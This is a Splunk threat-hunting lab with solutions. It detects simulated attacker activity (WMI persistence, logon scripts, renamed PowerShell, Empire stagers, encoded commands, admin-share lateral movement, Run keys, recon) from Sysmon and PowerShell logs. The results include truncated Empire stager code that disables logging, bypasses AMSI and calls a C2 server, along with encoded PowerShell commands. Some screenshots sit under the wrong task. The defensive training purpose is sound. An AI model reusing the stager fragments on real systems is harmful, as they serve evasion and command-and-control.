

Hunting with Splunk (Lab 4)

LAB 17.4

Scenario

The IT Security manager has simulated malicious activity and has asked you to create hunting detection techniques for all of it.

Sysmon and PowerShell logs are available for this task.

Goals

The learning objective of this lab is the rule generation ability and becoming more familiar with Splunk.

What you will learn

You will learn how to utilize available logs to detect suspicious activity on a windows host.

Recommended tools

- Splunk
- Use Firefox browser to connect to Splunk's web interface (**<http://demo.ine.local:8000>**)

Tasks

Task 1. Hunt for WMI Persistence

Study and research the technique described at [T1084](#) and perform a hunt for it.

Hint: Refer to the below Sigma rule to give you an idea of how to construct a Splunk search that can detect WMI-based persistence.

https://github.com/Neo23x0/sigma/blob/master/rules/windows/sysmon/sysmon_wmi_event_subscription.yml

Task 2. Hunt for Logon Scripts

Study and research the technique described at [T1037](#) and [this](#) additional resource, and perform a hunt for it.

Divide the task into 2 subcategories:

- a. Hunting for logon scripts through process creation (if it has been executed)
- b. Hunting for logon scripts through registry addition/modification (if it has been configured)

Hints: Refer to the below Sigma rule to give you an idea of how to construct the related Splunk search

https://github.com/Neo23x0/sigma/blob/master/rules/windows/sysmon/sysmon_logon_scripts_userinitmprlogonscript.yml

Sysmon Event IDs (related to registry activity) 11, 12, 13 and 14 can also help in this hunt.

Task 3. Hunt for Renamed PowerShell

Study and research the technique described at [T1036 \(Masquerading\)](#) and perform a hunt for it.

Hint: Refer to the below Sigma rule to give you an idea of how to construct the related Splunk search.

https://github.com/Neo23x0/sigma/blob/master/rules/windows/sysmon/sysmon_renamed_powershell.yml

Task 4. Hunt for PowerShell Empire

Research [PowerShell Empire](#) and create a detection rule that will discover its usage (focus on detecting the stager).

Hint: Focus on PowerShell logs for this hunt. To detect PowerShell Empire, create a detection rule that looks for any of the following 3 strings:

- \$psversiontable.psversion.major
- system.management.automation.utils
- system.management.automation.amsiutils

Then, perform simple deobfuscation on the captured command and look for the occurrence of any of the following 5 strings:

- EnableScriptBlockLogging
- Enablescriptblockinvocationlogging
- cachedgrouppolicysettings
- ServerCertificateValidationCallback
- expect100continue

Task 5. Hunt for Unmanaged PowerShell

Perform a hunt for Unmanaged PowerShell, which was discussed in the course materials.

Hint: As discussed in the course material unmanged PowerShell can be detected by looking at the Host Application when PowerShell starts and filtering the "known goods" such as PowerShell.exe.

Task 6. Hunt for PowerShell Base64 encoded commands

Research on PowerShell abuse and define a rule which detects the usage of obfuscated malicious commands in the available PowerShell logs.

Hint: Use Sysmon event ID 1, looking for command line arguments that would match those of an encoded command. The **Hunting with ELK** labs include all the information you need to hunt for Base64-encoded PowerShell code.

Task 7. Hunt for lateral movement through admin shares

Study and research the technique described at [T1077 Admin Shares](#) and perform a hunt for it.

Hint: Common tools that abuse admin shares is some of PSEXEC's implementations - such as the one in Cobalt Strike. A distinctive characteristic is the connection back to the ADMIN\$ share on localhost at 127.0.0.1 to execute a binary file which runs rundll32.exe.

Task 8. Hunt for download of word documents

Utilizing the available logs, create a Splunk detection search that detects downloaded word documents, which may be suspicious.

Note - For this hunt, focus on the extension ".doc" only.

Hint: To identify downloaded files, you can utilize the fact that Windows sets alternate data streams "Zone.Identifier" to recognize web content and alert the user of potentially dangerous file. To detect that, use Sysmon ID 15 - FileCreateStreamHash.

Task 9. Hunt for malicious Word document

Study and research the technique described at [T1064 Scripting](#) and perform a hunt for it.

Hint: Hunt for processes that were spawned by winword.exe

Task 10. Hunt for persistence in Registry Run keys

Study and research the technique at [T1060](#) and perform a hunt for it.

Hint: Focus on Sysmon Event ID 13, and also on activity associated with the registry path `"*\Windows\CurrentVersion\Run"`.

Task 11. Hunt for Filesystem persistence

Study and research the technique at [T1060](#) (Startup folder) and perform a hunt for it.

Hint: Hunt for processes started in the Startup location.

Task 12. Hunt for internal recon

Study and research the technique [here](#) and perform a hunt for it.

Hint: Hunt for 2 or more binaries that can be used for reconnaissance (whoami.exe, netstat.exe, etc.) that were executed within a timeframe of 15 minutes.

Task 13. Hunt for suspicious VBS scripts

Study and research the technique described at [T1064 Scripting](#) and perform a hunt for it.

Hint: Focus on Sysmon event ID 1 to identified execution of cscript.exe or wscript.exe.

SOLUTIONS

Below, you can find solutions for each task. Remember though, that you can follow your own strategy, which may be different from the one explained in the following lab.

Task 1. Hunt for WMI Persistence

After researching through the provided technique and some of the references, including the proposed detection [rule](#) in Sigma, it appears that WMI persistence can be discovered by looking at WMI events that Sysmon captures in Event IDS 19, 20 and 21. With that in mind, we can perform a search for those events and display back to us concrete information if those events had occurred, such as what file is to be started. The final query we construct is:

```
index=winsysmon EventCode=19 OR EventCode=20 OR EventCode=21 | table _time, EventCode, EventDescription, Operation, Computer, Consumer, Query, Destination
```

Once the query is executed, we get the following match:

New Search

Save AsClose

index=winsysmon EventCode=19 OR EventCode=20 OR EventCode=21 | table _time, EventCode, EventDescription, Operation, Computer, Consumer, Query, Destination

Last 7 days

✓ 3 events (3/2/20 1:00:00.000 PM to 3/9/20 1:28:46.000 PM) No Event SamplingJobPauseStopRefreshDownloadVerbose Mode

Events (3)PatternsStatistics (3)Visualization

50 Per PageFormatPreview

_time	EventCode	EventDescription	Operation	Computer	Consumer	Query	Destination
2020-03-08 10:05:26	21	WmiEventConsumerToFilter activity detected	Created	WS-0001	"CommandLineEventConsumer.Name=\"Updater\""		
2020-03-08 10:05:26	19	WmiEventFilter activity detected	Created	WS-0001		"SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"	
2020-03-08 10:05:26	20	WmiEventConsumer activity detected	Created	WS-0001			"cmd.exe /c C:/programdata/updater.bat"

It appears that a new activity was observed, with the name "Updater", that triggers on the login of any users and executes the command "cmd.exe /c C:/programdata/updater.bat".

Task 2. Hunt for Logon Scripts

a. Hunting for logon scripts through process creation

After researching provided resources, we discover that logon scripts are started by "userinit.exe". A detection [rule](#) is also provided in Sigma, which we can utilize to construct the following query:

```
index=winsysmon ((ParentImage="*\\userinit.exe" NOT (Image="*\\explorer.exe")) NOT ((CommandLine="*\\netlogon.bat" OR CommandLine="*\\UsrLogon.cmd")))) | stats values(cmdline) dc(Computer) AS hosts count by ParentImage Image
```

Once executed, we get the following match:

New Search

Save As ▼Close

index=winsysmon ((ParentImage="*\\userinit.exe" NOT (Image="*\\explorer.exe")) NOT ((CommandLine="*\\netlogon.bat" OR CommandLine="*\\UsrLogon.cmd"))) | stats values(cmdline) dc(Computer) AS hosts count by ParentImage Image

Last 30 days ▼

Q

✓ 1 event (2/9/20 12:00:00.000 AM to 3/10/20 1:38:57.000 PM) No Event Sampling ▼

Job ▼ || ■ → 🖨️ ⬇️

Verbose Mode ▼

Events (1) Patterns **Statistics (1)** Visualization

50 Per Page ▼ / Format Preview ▼

ParentImage ↕	Image ↕	values(cmdline) ↕	hosts ↕	count ↕
C:\Windows\System32\userinit.exe	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c c:\ProgramData\UserInitMprLogonScript.bat	1	1

A logon script was executed on 1 host and the running image with its command line argument are present to reveal that batch script was executed in %ProgramData%.

b. On the second hunt, utilizing the previously mentioned Sigma rule, we observe that Sysmon Event IDs (related to registry activity) 11, 12, 13 and 14 can be monitored if they had captured any activity towards the key UserInitMprLogonScripts. We therefore construct the following query:

```
index=winsysmon ((EventCode="11" OR EventCode="12" OR EventCode="13" OR EventCode="14") AND TargetObject="*UserInitMprLogonScript*") | table Computer, EventCode, signature, TargetObject, Details
```

Executing the query, we'll see a match that outlines the configuration of the batch script executed in step a:

New Search

Save As ▼Close

index=winsysmon ((EventCode="11" OR EventCode="12" OR EventCode="13" OR EventCode="14") AND TargetObject="*UserInitMprLogonScript*") | table Computer, EventCode, signature, TargetObject, Details

Last 30 days ▼

Q

✓ 1 event (2/9/20 12:00:00.000 AM to 3/10/20 1:40:45.000 PM) No Event Sampling ▼

Job ▼ || ■ → 🖨️ ⬇️

Verbose Mode ▼

Events (1) Patterns **Statistics (1)** Visualization

50 Per Page ▼ / Format Preview ▼

Computer ↕	EventCode ↕	signature ↕	TargetObject ↕	Details ↕
WS-0001	13	Registry value set	HKU\S-1-5-21-792665389-4203935385-2691369249-1001\Environment\UserInitMprLogonScript	c:\ProgramData\UserInitMprLogonScript.bat

Task 3. Hunt for Renamed PowerShell

After reviewing the MITRE documentation and the following Sigma detection [rule](#), we'll base our hunt on any started process that has description "Windows PowerShell" and is not powershell.exe or powershell_ise.exe. We then construct the following query:

```
index=winsysmon EventCode=1 AND Description="Windows PowerShell" AND (Image!="*\\powershell.exe" AND Image!="*\\powershell_ise.exe") | rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*)," | table _time, Computer, User, Image, cmdline, ParentImage, MD5
```

When executed, we get the following match:

New Search

Save AsClose

index=winsysmon EventCode=1 AND Description="Windows PowerShell" AND (Image!="*\\powershell.exe" AND Image!="*\\powershell_ise.exe") |
rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*)," | table _time, Computer, User, Image, cmdline, ParentImage, MD5

Last 30 days

Q

✓ 1 event (2/9/20 12:00:00.000 AM to 3/10/20 1:56:09.000 PM) No Event SamplingJob||→📄⬇️

Verbose Mode

Events (1)PatternsStatistics (1)Visualization

50 Per PageFormatPreview

_time	Computer	User	Image	cmdline	ParentImage	MD5
2020-03-08 10:06:51	WS-0001	WS-	C:\ProgramData\ssh.exe	"C:\ProgramData\ssh.exe"	C:\Windows\explorer.exe	7353F60B1739074EB17C5F4DDDEF239

It appears that PowerShell was moved to ProgramData and renamed to "ssh.exe".

Another benefit of similar search to get a high level overview of the environment is to list all processes with description "Windows PowerShell", which will also show us the general usage of different PowerShell versions across the organization. To do that, we use the following query:

```
index=winsysmon EventCode=1 AND Description="Windows PowerShell" | rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*)," | stats dc(Computer) AS Hostname count by Image MD5 Description | sort -count
```

After we execute the query, we'll see the following outcome:

New Search

Save AsClose

index=* EventCode=4104 AND (\$psversiontable.psversion.major OR system.management.automation.utils OR system.management.automation.amsiutils) | eval MessageDeobfuscated = replace(Message, "[`'+\"\\\"^]\", \"\") | search EnableScriptBlockLogging OR enablescriptblockinvocationlogging OR cachedgrouppolicysettings OR ServerCertificateValidationCallback OR expect100continue | table _time ComputerName Sid MessageDeobfuscated

Last 30 days

Q

3 events (2/11/20 12:00:00.000 AM to 3/12/20 10:04:25.000 AM) No Event Sampling

JobPauseStopRefreshDownload

Verbose Mode

Events (3)PatternsStatistics (3)Visualization

50 Per PageFormatPreview

_time	ComputerName	Sid	MessageDeobfuscated
2020-03-08 12:47:56	WS-0001	S-1-5-21-792665389-4203935385-2691369249-1001	CreatingScriptblocktext(1of1): IF(\$PSVersionTable.PSVersion.Major-Ge3){\$GPF=[ref].Assembly.GetType(System.Management.Automation.Utils).GetField(cachedGroupPolicySettings, [EnableScriptBlockInvocationLogging]=0)\$Val=[CollectionS.GENERIC.Dictionary[String, SYSTEM.OBJECT]]::new();\$Val.Add(EnableScriptBlockLogging,0);\$Val.Add(EnableScriptBlockInvocationLogg (NEw-ObJEcTCollecTIOns.GenerIc.HaSHSet[String]))[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils) ?{\$_ %{\$_.GetField(amsiIni ObjeCTSyStEm.NeT.WebClIenT;\$u=Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko;\$WC.HEADERS.Add(User-Agent,\$u);\$WC.PROXY=[SYsTeM [SySteM.Text.ENcODinG]::ASCII.GETByTes(79Na*ZYw?>qWCdJ30fGvPDrs5[TShEg/);\$R={\$D,\$K=\$Args;\$S=0..255;0..255 %{\$J=(\$J\$S[\$_]\$K[\$_%\$K.COuNt])%25 bxOr\$S[((\$S[\$I]\$S[\$H])%256])];\$ser=http://192.168.10.107:8080;\$t=/login/process.php;\$wc.HeaDErs.Add(Cookie,session=9jiegPdX91CKy5UfN9dcCKpOW ScriptBlockID:f4eda8a6-e155-44af-a6ae-2ecfb3294d10 Path:
2020-03-08 12:43:38	WS-0001	S-1-5-21-792665389-4203935385-2691369249-1001	CreatingScriptblocktext(1of1): IF(\$PSVersionTable.PSVersion.Major-Ge3){\$GPF=[ref].Assembly.GetType(System.Management.Automation.Utils).GetField(cachedGroupPolicySettings, [EnableScriptBlockInvocationLogging]=0)\$Val=[CollectionS.GENERIC.Dictionary[String, SYSTEM.OBJECT]]::new();\$Val.Add(EnableScriptBlockLogging,0);\$Val.Add(EnableScriptBlockInvocationLogg (NEw-ObJEcTCollecTIOns.GenerIc.HaSHSet[String]))[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils) ?{\$_ %{\$_.GetField(amsiIni ObjeCTSyStEm.NeT.WebClIenT;\$u=Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko;\$WC.HEADERS.Add(User-Agent,\$u);\$WC.PROXY=[SYsTeM [SySteM.Text.ENcODinG]::ASCII.GETByTes(79Na*ZYw?>qWCdJ30fGvPDrs5[TShEg/);\$R={\$D,\$K=\$Args;\$S=0..255;0..255 %{\$J=(\$J\$S[\$_]\$K[\$_%\$K.COuNt])%25 bxOr\$S[((\$S[\$I]\$S[\$H])%256])];\$ser=http://192.168.10.107:8080;\$t=/login/process.php;\$wc.HeaDErs.Add(Cookie,session=9jiegPdX91CKy5UfN9dcCKpOW

Let's look closer in the first event:

```
MessageDeobfuscated ⇅

CreatingScriptblocktext(1of1):
IF($PSVersionTable.PSVersion.Major-Ge3){$GPF=[rEf].AsSEmBLY.GetType[System.Management.Automation.Utils].GetField[cachedGroupPolicySettings]
[EnableScriptBlockInvocationLogging]=0}$Val=
[CollectionS.GeNERIc.DicTionaRY[StRING,SYStEM.OBJEcT]]::nEw();$VAL.Add(EnableScriptBlockLogging 0);$VAL.Add(EnableScriptBlockInvocationLogg
(NEw-OBJEcTCoLlEcTIOnS.GenerIc.HaSHSet[StRING]))[Ref].AsSEmBLY.GetType[System.Management.Automation.AmsiUtils] | ?{$_|%{$_.GetField(amsiIni
ObjEcTSyStEm.NeT.WebClIenT;$u=Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko;$WC.HEADERS.Add(User-Agent,$u);$WC.PROXY=[SYsTeM
[SyStEM.Text.ENcODInG]::ASCII.GETByTes(79Na*ZYw?>qWcdJ30fGvPDrs5[TShEg/);$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J$S[$_] $K[$_%$K.CouNt])%25
bxOr$S[(($S[$I]$S[$H])%256]}};$ser=http://192.168.10.107:8080;$t=/login/process.php;$wc.Headers.Add(Cookie,session=9jiegPdX91CKy5UfN9dcCKpOW

ScriptBlockID:f4eda8a6-e155-44af-a6ae-2ecfb3294d10
Path:
```

Task 5. Hunt for Unmanaged PowerShell

As described in the course materials, Unmanaged PowerShell can be detected by looking at the Host Application when PowerShell starts and filtering the "known goods" such as PowerShell.exe. We construct the following query:

```
index=* hostapplication | rex field=Message ".*HostApplication=(?<HostApplication>.*)" | search HostApplication!="*powershell*" HostApplication!="*\sdiagnhost.exe*" | stats count by host HostApplication
```

When executed, we get the following match:

New Search

Save AsClose

index=* hostapplication | rex field=Message ".*HostApplication=(?<HostApplication>.*)" | search HostApplication!="*powershell*" HostApplication!="*\sdiagnhost.exe*" | stats count by host HostApplication

Last 30 days

✓ 57 events (2/11/20 12:00:00.000 AM to 3/12/20 10:16:27.000 AM) No Event Sampling

JobPauseRefreshPrintDownloadVerbose Mode

Events (57)PatternsStatistics (2)Visualization

50 Per PageFormatPreview

host	HostApplication	count
WS-0001	C:\ProgramData\ssh.exe	7
WS-0001	C:\Windows\system32\rundll32.exe	50

You can recall from Task 3, that we discovered ssh.exe to be an instance of renamed PowerShell.

Task 6. Hunt for PowerShell Base64 encoded commands

For this part, we'll use Sysmon event id 1, looking for command line arguments that would match those of an encoded command. The parameter that we are looking for is "-encodedcommand" but the bare minimum that PowerShell needs provided as arguments to threat it as an encoded command is simply "-e". So, let's filter out for event id 1, look for all powershell processes (powershell.exe or PowerShell in description), and parameter that contains "-e" (although we will tune this down slightly to avoid potential false positives). Initially, we'll list information related to the parent processes that were observed to be association with this activity -- the final query is shown below:

```
index=* EventCode=1 | eval cmdline =replace(cmdline, "-[Ee][Nn][Cc][Oo][Dd][Ii][Nn][Gg]", "__encoding") | search Image="*\\powershell.exe" (cmdline="* -enc*" OR cmdline="* -en *" OR cmdline="* -e *" OR cmdline="* -ec *") | table _time Computer User ParentImage ParentCommandLine
```

Once executed, we receive the following output:

New Search

index=* EventCode=1 | eval cmdline =replace(cmdline, "-[Ee][Nn][Cc][Oo][Dd][Ii][Nn][Gg]", "__encoding") | search Image="*\\powershell.exe" (cmdline="* -enc*" OR cmdline="* -en *" OR cmdline="* -e *" OR cmdline="* -ec *") | table _time ComputerUser ParentImage ParentCommandLine

Save AsClose

Last 30 days

✓ 10 events (2/11/20 12:00:00.000 AM to 3/12/20 11:53:10.000 AM) No Event SamplingJobPauseStopRefreshPrintDownloadVerbose Mode

Events (10)PatternsStatistics (10)Visualization

50 Per PageFormatPreview

_time	Computer	User	ParentImage	ParentCommandLine
2020-03-09 14:01:16	WS-0001	WS-0001\user	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\report.bat" "
2020-03-09 14:01:07	WS-0001	WS-0001\user	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c c:\ProgramData\UserInitMprLogonScript.bat
2020-03-09 13:56:14	WS-0001	WS-0001\user	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\report.bat" "
2020-03-09 13:48:00	WS-0001	WS-0001\user	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\report.bat" "
2020-03-08 12:47:56	WS-0001	WS-0001\user	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\programdata\report.vbs"
2020-03-08 12:43:38	WS-0001	WS-0001\user	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\ProgramData\report.vbs"
2020-03-08 12:43:27	WS-0001	WS-0001\user	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\ProgramData\report.vbs"
2020-03-08 12:22:44	WS-0001	WS-0001\user	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\report.bat" "

Immediately, we'll note the entry executing "c:\ProgramData\UserInitMprLogonScript.bat" which is familiar to us from Task 2. The other entries appear suspicious for many reasons but for now, we'll focus on reviewing the actual command line that was flagged. Let's modify the search:

```
index=* EventCode=1 | eval cmdline =replace(cmdline, "-[Ee][Nn][Cc][Oo][Dd][Ii][Nn][Gg]", "__encoding") | search Image="*\powershell.exe"
(cmdline="* -enc*" OR cmdline="* -en *" OR cmdline="* -e *" OR cmdline="* -ec *") | table _time Computer User cmdline
```

Executing the query, we'll get the following match:

New Search

Save As ▾ Close

index=* EventCode=1 | eval cmdline =replace(cmdline, "-[Ee][Nn][Cc][Oo][Dd][Ii][Nn][Gg]", "__encoding") | search Image="*\powershell.exe" (cmdline="* -enc*" OR cmdline="* -en *" OR cmdline="* -e *" OR cmdline="* -ec *") | table _time Computer User cmdline

Last 30 days ▾ 

✓ 10 events (2/12/20 12:00:00.000 AM to 3/13/20 10:38:41.000 AM) No Event Sampling ▾ Job ▾       Verbose Mode ▾

Events (10) Patterns **Statistics (10)** Visualization

50 Per Page ▾  Format Preview ▾

_time ▾	Computer ▾ 	User ▾ 	cmdline ▾
2020-03-09 14:01:16	WS-0001	WS-0001\user	powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAagAEkATwAuAE0AZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbaEMAbwBuAHYAZQBi
2020-03-09 14:01:07	WS-0001	WS-0001\user	powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAagAEkATwAuAE0AZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbaEMAbwBuAHYAZQBi
2020-03-09 13:56:14	WS-0001	WS-0001\user	powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAagAEkATwAuAE0AZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbaEMAbwBuAHYAZQBi
2020-03-09 13:48:00	WS-0001	WS-0001\user	powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAagAEkATwAuAE0AZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbaEMAbwBuAHYAZQBi
2020-03-08 12:47:56	WS-0001	WS-0001\user	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgt

Task 7. Hunt for lateral movement through admin shares

After researching through the provided technique and some of the references, the shares that we are interested in are C\$, ADMIN\$, and IPC\$. Common tools that abuse these shares is some of PSEXEC's implementations - such as the one in Cobalt Strike. A distinctive characteristic is the connection back to the ADMIN\$ share on localhost at 127.0.0.1 to execute a binary file which runs rundll32.exe. Taking that into account, we create the following query:

```
index="winsysmon" EventCode=1 ParentImage=\\\\127.0.0.1\\ADMIN$\\*.exe AND Image=*\\rundll32.exe | table time Computer User ParentImage Image
```

Once executed, we get the following output:

New SearchSave As ▾

index="winsysmon"
EventCode=1
ParentImage=\\\\127.0.0.1\\ADMIN\$*.exe
AND
Image=*\\rundll32.exe
|
table
_time
Computer
User
ParentImage
Image

Last 30 days ▾

✓ 1 event (2/11/20 12:00:00.000 AM to 3/12/20 12:17:05.000 PM)
No Event Sampling ▾

Job ▾
▮
↗
🖨
⬇
Verbose

Events (1)

Patterns

Statistics (1)

Visualization

50 Per Page ▾

Format

Preview ▾

_time ▴▾	Computer ▴▾	User ▴▾	ParentImage ▴▾	Image ▴▾
2020-03-08 13:01:14	WS-0002	NT AUTHORITY\\SYSTEM	\\\\127.0.0.1\\ADMIN\$\\e13c191.exe	C:\\Windows\\SysWOW64\\rundll32.exe

Task 8. Hunt for download of word documents

To identify downloaded files, we'll utilize the fact that Windows sets alternate data streams "Zone.Identifier" to recognize web content and alert the user of potentially dangerous file. To detect that, we'll use Sysmon ID 15 -- FileCreateStreamHash, specifically looking for files that contain ".doc". Our final query is:

```
index="winsysmon" EventCode=15 TargetFilename="*.doc.*" | table _time Computer Image TargetFilename MD5
```

Once we execute it, we get the following:

New Search

index="winsysmon" EventCode=1 ParentImage=*\\winword.exe | table _time Computer User Image ParentImage ParentCommandLine

Last 30 days

✓ 1 event (2/11/20 12:00:00.000 AM to 3/12/20 12:36:27.000 PM) No Event Sampling

Job

Verbose Mode

Events (1)

Patterns

Statistics (1)

Visualization

50 Per Page

Format

Preview

_time	Computer	User	Image	ParentImage	ParentCommandLine
2020-03-08 11:05:03	WS-0001	WS-0001\user	C:\Windows\SysWOW64\rundll32.exe	C:\Program Files\Microsoft Office\Office15\WINWORD.EXE	"C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n "C:\Users\user\Downloads\Weekly report.doc" /o ""

It seems that the document which was downloaded from the Internet (discovered in Task 8), was opened in Word, and spawned rundll32.exe. This is a highly suspicious activity.

Task 10. Hunt for persistence in Registry Run keys

After reviewing the MITRE documentation, our hunt will focus on Sysmon Event ID 13, and focus on activity associated with the registry path "*Windows\CurrentVersion\Run*". The final query constructed is:

```
index="winsysmon" EventCode=13 "*\\Windows\\CurrentVersion\\Run*" | rex field=Image ".*\\\\(?!<Image_EXE>[^\\"| rex field=TargetObject ".*\\\\CurrentVersion\\\\(?!<TargetObj_PATH>.*)" | strcat "Image=\\\" Image_EXE \"\", TargetObject=\\\" TargetObj_PATH \"\", Details=\\\" Details \"\" Image_TargetObj_Details | stats dc(Computer) AS Clients values(Image_TargetObj_Details) count by EventDescription Image_EXE
```

Once executed, we get the following:

New Search

Save AsClose

index="winsysmon" EventCode=13 "*\\Windows\\CurrentVersion\\Run*" | rex field=Image ".*\\\\(?<Image_EXE>[^\\\\]*)" | rex field=TargetObject ".*\\\\CurrentVersion\\\\(?<TargetObj_PATH>.*)" | strcat "Image=\" Image_EXE \"", TargetObject=\" TargetObj_PATH \"", Details=\" Details \"" Image_TargetObj_Details | stats dc(Computer) AS Clients values(Image_TargetObj_Details) count by EventDescription Image_EXE

Last 30 days

✓ 3 events (2/11/20 12:00:00.000 AM to 3/12/20 1:33:50.000 PM) No Event SamplingJob||→✖↓Verbose Mode

Events (3)PatternsStatistics (2)Visualization

50 Per PageFormatPreview

EventDescription	Image_EXE	Clients	values(Image_TargetObj_Details)	count
Registry value set	csrss.exe	1	Image="csrss.exe", TargetObject="RunOnce\\Application Restart #0", Details="C:\\Program Files\\Microsoft Office\\Office15\\MSOSYNC.EXE"	2
Registry value set	reg.exe	1	Image="reg.exe", TargetObject="Run\\Dropbox", Details="C:\\ProgramData\\dropbox.exe"	1

Immediately an entry stands out, which has occurred only once and executes a file in "ProgramData".

Task 11. Hunt for Filesystem persistence

After reviewing the MITRE documentation, the hunt we are performing focuses on processes started in the Startup location. We construct the following query:

```
index="winsysmon" EventCode=1 Image="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" OR CommandLine="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" | table _time Computer User Image CommandLine MD5
```

Once executed, we get the following:

New Search

Save AsClose

index="winsysmon" EventCode=1 (Image="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup*" OR CommandLine="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup*") | table _time Computer User Image CommandLine MD5

Last 30 days

Q

4 events (2/11/20 12:00:00.000 AM to 3/12/20 1:04:27.000 PM)
No Event Sampling

Job
Pause
Stop
Refresh
Print
Download
Verbose Mode

Events (4)
Patterns
Statistics (4)
Visualization

50 Per Page
Format
Preview

_time	Computer	User	Image	CommandLine	MD5
2020-03-09 14:01:16	WS-0001	WS-0001\\user	C:\\Windows\\System32\\cmd.exe	C:\\Windows\\system32\\cmd.exe /c "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\report.bat" "	975B45B669930B0CC773EAF2B414206F
2020-03-09 13:56:14	WS-0001	WS-0001\\user	C:\\Windows\\System32\\cmd.exe	C:\\Windows\\system32\\cmd.exe /c "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\report.bat" "	975B45B669930B0CC773EAF2B414206F
2020-03-09 13:47:59	WS-0001	WS-0001\\user	C:\\Windows\\System32\\cmd.exe	C:\\Windows\\system32\\cmd.exe /c "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\report.bat" "	975B45B669930B0CC773EAF2B414206F
2020-03-08 12:22:44	WS-0001	WS-0001\\user	C:\\Windows\\System32\\cmd.exe	C:\\Windows\\system32\\cmd.exe /c "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\report.bat" "	975B45B669930B0CC773EAF2B414206F

We discover that a batch script has been executed multiple times from that locations.

Task 12. Hunt for internal recon

After reviewing the provided resource, we discover a long list of binary files that are commonly used in performing internal recon to gather information. Our hunt will focus on whether 2 or more were executed within a time-frame of 15 minutes. We construct the following query:

```
index="winsysmon" EventCode=1 Image=*\\ipconfig.exe OR Image=*\\net.exe OR Image=*\\whoami.exe OR Image=*\\netstat.exe OR Image=*\\nbtstat.exe OR Image=*\\hostname.exe OR Image=*\\tasklist.exe | bin _time span=15m | stats dc(Image) AS CNT_CMDS values(CommandLine) values(ParentCommandLine) count by _time Computer User | where CNT_CMDS > 2
```

Once executed, we get the following output:

New SearchSave AsClose

index="winsysmon" EventCode=1 Image=*\\ipconfig.exe OR Image=*\\net.exe OR Image=*\\whoami.exe OR Image=*\\netstat.exe OR Image=*\\nbtstat.exe OR Image=*\\hostname.exe OR Image=*\\tasklist.exe | bin _time span=15m | stats dc(Image) AS CNT_CMDS values(CommandLine) values(ParentCommandLine) count by _time Computer User | where CNT_CMDS > 2

Last 30 days

10 events (2/11/20 12:00:00.000 AM to 3/12/20 3:00:52.000 PM)
No Event Sampling
Job
Pause
Stop
Refresh
Download
Verbose Mode

Events (10)
Patterns
Statistics (1)
Visualization

50 Per Page
Format
Preview

_time	Computer	User	CNT_CMDS	values(CommandLine)	values(ParentCommandLine)
2020-03-08 12:45:00	WS-0001	WS-0001\user	4	"C:\Windows\system32\whoami.exe" /groups "C:\Windows\system32\whoami.exe" /user hostname ipconfig net localgroup administrators whoami	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBIAHIAcwBpAE8ATgBUAEEAYgBMAGUALgBQAFMAVgBIAHIAUwBpAG8ATgAuAE0AYC C:\Windows\system32\cmd.exe /C hostname C:\Windows\system32\cmd.exe /C ipconfig C:\Windows\system32\cmd.exe /C net localgroup administrators C:\Windows\system32\cmd.exe /C whoami

Task 13. Hunt for suspicious VBS scripts

After reviewing the provided resource and additional research, we discover that VBS scripts are executed by cscript.exe or wscript.exe. Using that with Sysmon Event ID 1, we'll search whether those binaries have executed, and if so, what scripts they executed. We construct the following query:

```
index="winsysmon" EventCode=1 Image="*\\cscript.exe" OR Image="*\\wscript.exe" | rex field=Image ".*\\\\(?<Image_fn>[^\\\\]*)" | rex field=ParentImage ".*\\\\(?<ParentImage_fn>[^\\\\]*)" | stats count by Computer User ProcessId Image CommandLine ParentImage ParentCommandLine
```

